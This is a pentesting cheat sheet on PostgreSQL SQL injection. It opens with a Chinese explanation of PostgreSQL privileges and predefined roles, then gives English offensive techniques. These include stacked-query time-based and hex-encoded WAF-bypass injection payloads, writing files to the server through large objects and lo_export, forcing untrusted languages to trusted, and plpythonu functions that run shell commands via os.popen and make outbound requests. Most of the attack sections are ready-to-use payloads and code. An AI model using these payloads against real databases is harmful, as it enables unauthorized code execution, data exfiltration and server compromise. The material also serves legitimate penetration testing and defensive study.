Pgsql SQL注入
权限管理体系¶
权限¶
**对象**的所有者(或超级用户)可以对该对象执行任何操作。
使用 grant 和 revoke 进行授权和撤权。
在 SQL 标准中,用户和角色为不同的概念;在 PostgreSQL 中,用户和角色统一为一种实体,即用户和角色是“相同的”,用户是具有连接登录权限的角色。
权限类型¶
权限类型包括:SELECT、INSERT、UPDATE、DELETE、TRUNCATE、REFERENCES、TRIGGER、CREATE、CONNECT、TEMPORARY、EXECUTE、USAGE、SET、ALTER SYSTEM。
默认情况下,PostgreSQL 在创建对象时,**不会**将某些类型的对象的权限授予 PUBLIC:FOREIGN DATA WRAPPER、FOREIGN SERVER、LARGE OBJECT、PARAMETER、SCHEMA、SEQUENCE、TABLE 、Table column 及 TABLESPACE。
默认情况下,PostgreSQL 在创建对象时,会将某些类型的对象的权限授予 PUBLIC:DATABASE 【CONNECT 和 TEMPORARY(创建临时表)权限】,FUNCTION or PROCEDURE【EXECUTE 权限】,DOMAIN、LANGUAGE、TYPE【USAGE 权限】。当然,对象所有者可以 REVOKE 这些默认权限,并显式授予权限。为了获得最大的安全性,请在创建对象的同一事务中发出 REVOKE;然后,其他用户就不能使用该对象。
此外,还可以使用 ALTER DEFAULT PRIVILEGES 命令覆盖这些默认权限设置。
角色¶
数据库角色¶
数据库角色在数据库集群安装中是全局的(而不是按单个数据库)。
新初始化的系统始终包含一个预定义的角色。此角色始终是“超级用户”,通常,此角色将命名为 postgres。
与数据库服务器的每个连接,都是使用某个特定角色的名称建立的,在该连接中,该角色确定初始访问权限。
特殊的 “角色” 名称 PUBLIC 可用于向系统上的每个角色授予权限。它自动地、隐式地包含了数据库中的每个用户。
任何特定角色都将具有:直接授予它的权限、授予它当前所属的组角色的权限,以及授予 PUBLIC 的权限。
角色属性¶
LOGIN/NOLOGIN:
LOGIN:具有此属性的角色可以用于数据库连接,即可以视为登录用户。 NOLOGIN:没有此属性的角色不能用于数据库连接,默认值。
SUPERUSER/NOSUPERUSER:
SUPERUSER:超级用户拥有数据库的所有权限,包括创建数据库、创建角色、修改系统配置等。 NOSUPERUSER:非超级用户,其权限受到一定限制,默认值。
CREATEDB/NOCREATEDB:
CREATEDB:具有此属性的角色可以创建数据库。 NOCREATEDB:没有此属性的角色不能创建数据库,默认值。
CREATEROLE/NOCREATEROLE:
CREATEROLE:具有此属性的角色可以创建、修改和删除其他角色,以及给其他角色赋予或撤销权限。应将具有“创建角色”权限的用户,视为超级用户。 NOCREATEROLE:没有此属性的角色不能执行上述操作,默认值。
INHERIT/NOINHERIT:
INHERIT:具有此属性的角色会自动继承其所属组角色的权限,默认值。需要注意的是,角色属性 对应的权限并不被继承,例如,CREATEDB、CREATEROLE;即通过 create role 和 alter role 设置的角色属性,不被继承。但在 PostgreSQL 的早期版本中,会继承所有权限。被继承的,是诸如对表等对象的操作权限。另,需要注意的是,在 SQL 标准中,只有角色有继承属性,并且继承所有权限,而用户没有所谓的继承。 NOINHERIT:没有此属性的角色不会继承其所属组角色的权限,除非显式地执行SET ROLE命令来临时“成为”组角色。
REPLICATION/NOREPLICATION:
REPLICATION:具有此属性的角色可以启动流复制。 NOREPLICATION:没有此属性的角色不能启动流复制,默认值。
BYPASSRLS/NOBYPASSRLS:
BYPASSRLS:具有此属性的角色可以绕过行级安全性(Row-Level Security, RLS)检查【另,超级用用和所有者始终绕过 RLS 检查】。 NOBYPASSRLS:没有此属性的角色不能绕过RLS检查,默认值。
CONNECTION LIMIT:
此属性用于限制角色可以同时建立的连接数,但超级用户不受限。
PASSWORD:
用于设置角色的密码。如果设置了密码,则角色在连接数据库时需要提供该密码。
VALID UNTIL:
此属性用于设置角色的密码有效期。它仅定义密码的过期时间,而不是角色本身的过期时间。特别是,使用非基于密码的身份验证方法登录时,不会强制执行过期时间。
预定义角色¶
PostgreSQL 提供了一组预定义的角色。
| 角色 | 被允许的访问 |
|---|---|
| pg_read_all_data | 读取所有数据(表、视图、序列):具有 SELECT 权限,对所有 schema 具有 USAGE 权限;即使没有显式声明拥有这些权限。此角色没有设置角色属性 BYPASSRLS。如果正在使用 RLS,则管理员可能希望在此角色被授予的角色上设置 BYPASSRLS。 |
| pg_write_all_data | 写入所有数据(表、视图、序列):具有 INSERT、UPDATE 和 DELETE 权限以及对所有 schema 具有 USAGE 权限;即使没有显式声明拥有这些权限。此角色没有设置角色属性 BYPASSRLS。如果正在使用 RLS,则管理员可能希望在此角色被授予的角色上设置 BYPASSRLS。 |
| pg_read_all_settings | 读取所有配置变量,甚至包括通常仅对超级用户可见的变量。 |
| pg_read_all_stats | 读取所有 pg_stat_* 视图并使用各种与统计相关的扩展,甚至是通常仅对超级用户可见的扩展。 |
| pg_stat_scan_tables | 执行监控功能,这些功能可能会持续很长时间,并且可能对表执行 ACCESS SHARE 锁。 |
| pg_monitor | 读取各种监控视图/执行各种监控功能。此角色是 pg_read_all_settings、pg_read_all_stats 和 pg_stat_scan_tables 的成员。 |
| pg_database_owner | 没有。成员由当前数据库所有者组成。 |
| pg_signal_backend | 向另一个后端发出信号以取消查询或终止其会话。 |
| pg_read_server_files | 使用 COPY 或其他文件访问功能时,允许读取文件【即那些在服务器上数据库可以访问的文件】。 |
| pg_write_server_files | 使用 COPY 或其他文件访问功能时,允许写入文件【即那些在服务器上数据库可以访问的文件】。 |
| pg_execute_server_program | 使用 COPY 或调用函数(函数将执行服务端程序)时,允许在数据库服务器上执行程序【以运行数据库的用户的身份来执行程序】。 |
| pg_checkpoint | 允许执行 CHECKPOINT 命令。 |
pg_monitor、pg_read_all_settings、pg_read_all_stats 和 pg_stat_scan_tables 角色旨在允许管理员轻松配置角色**以监视数据库服务器**。它们授予一组通用权限,允许角色读取通常仅限于超级用户的各种有用的配置设置、统计信息和其他系统信息。
pg_database_owner 角色具有一个隐式的、依赖于情境的成员,即当前数据库的所有者。与任何角色一样,它可以拥有对象或接收访问权限的授予。因此,一旦 pg_database_owner 在模板数据库中拥有权限,从该模板实例化的数据库的所有者都将行使这些权限。pg_database_owner 不能是任何角色的成员,并且不能具有非隐式成员。最初,此角色拥有(模板数据库) public 模式(schema),因此每个(从该模板实例化的)数据库所有者都管理 public 模式的本地使用。
pg_signal_backend 角色旨在允许管理员启用受信任但非超级用户的角色,以向其他后端发送信号。目前,此角色允许发送信号**以取消另一个后端上的查询或终止其会话**。但是,被授予此角色的用户无法向超级用户拥有的后端发送信号。
pg_read_server_files、pg_write_server_files 和 pg_execute_server_program 角色旨在允许管理员拥有受信任但非超级用户的角色,这些角色能够以运行数据库的用户身份访问文件,并在数据库服务器上运行程序。由于这些角色能够访问服务器文件系统上的任何文件,因此它们在直接访问文件时会绕过所有数据库级权限检查,并且可用于获得超级用户级访问权限,因此在向用户授予这些角色时应非常小心。
预定义角色的使用例子:
Refer¶
PostgreSQL 数据库权限、角色总结 - 误会馋 - 博客园
Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration]¶
The PostgreSQL module dblink offers capabilities for connecting to other PostgreSQL instances and executing TCP connections. These features, combined with the COPY FROM functionality, enable actions like privilege escalation, port scanning, and NTLM challenge response capture. For detailed methods on executing these attacks check how to perform these attacks.
Exfiltration example using dblink and large objects¶
You can read this example to see a CTF example of how to load data inside large objects and then exfiltrate the content of large objects inside the username of the function dblink_connect.
PostgreSQL Attacks: Read/write, RCE, privesc¶
Check how to compromise the host and escalate privileges from PostgreSQL in:
5432,5433 - Pentesting Postgresql
WAF bypass¶
PostgreSQL String functions¶
Manipulating strings could help you to bypass WAFs or other restrictions. In this page you can find some useful Strings functions.
Stacked Queries¶
Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
XML tricks¶
query_to_xml
This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
database_to_xml
This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):
Strings in Hex¶
If you can run queries passing them inside a string (for example using the query_to_xml function). You can use the convert_from to pass the string as hex and bypass filters this way:
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
Forbidden quotes¶
If cannot use quotes for your payload you could bypass this with CHR for basic clauses (character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements):
Or with $. This queries return the same results:
Big Binary File Upload¶
PostgreSQL Large Objects¶
PostgreSQL offers a structure known as large objects, accessible via the pg_largeobject table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the COPY TO function as it enables the exportation of data back to the file system, ensuring an exact replica of the original file is maintained.
For storing a complete file within this table, an object must be created in the pg_largeobject table (identified by a LOID), followed by the insertion of data chunks, each 2KB in size, into this object. It is crucial that these chunks are exactly 2KB in size (with the possible exception of the last chunk) to ensure the exporting function performs correctly.
To divide your binary data into 2KB chunks, the following commands can be executed:
For encoding each file into Base64 or Hex, the commands below can be used:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
Important: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula ceil(n / 3) * 4.
The contents of the large objects can be viewed for debugging purposes using:
Using lo_creat & Base64¶
To store binary data, a LOID is first created:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
In situations requiring precise control, such as exploiting a Blind SQL Injection, lo_create is preferred for specifying a fixed LOID.
Data chunks can then be inserted as follows:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
To export and potentially delete the large object after use:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
Using lo_import & Hex¶
The lo_import function can be utilized to create and specify a LOID for a large object:
Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
To complete the process, the data is exported and the large object is deleted:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
Limitations¶
It's noted that large objects may have ACLs (Access Control Lists), potentially restricting access even to objects created by your user. However, older objects with permissive ACLs may still be accessible for content exfiltration.
RCE with PostgreSQL Languages¶
PostgreSQL Languages¶
The PostgreSQL database you got access to may have different scripting languages installed that you could abuse to execute arbitrary code.
You can get them running:
Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:
- plpythonu
- plpython3u
- plperlu
- pljavaU
- plrubyu
- ... (any other programming language using an insecure version)
If you find that an interesting language is installed but untrusted by PostgreSQL (lanpltrusted is false) you can try to trust it with the following line so no restrictions will be applied by PostgreSQL:
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
If you don't see a language, you could try to load it with (you need to be superadmin):
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
Note that it's possible to compile the secure versions as "unsecure". Check this for example. So it's always worth trying if you can execute code even if you only find installed the trusted one.
plpythonu/plpython3u¶
- RCE
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';
SELECT cmd("ls"); #RCE with popen or execve
- find executable
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)
if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables
a = my_find(dir)
b = []
for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';
SELECT findx("/"); #Find an executables in folder (recursively)
- request
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req2('https://google.com'); #Request using python2
CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';
SELECT req3('https://google.com'); #Request using python3
pgSQL¶
Check the following page:
C¶
Check the following page:
RCE with PostgreSQL Extensions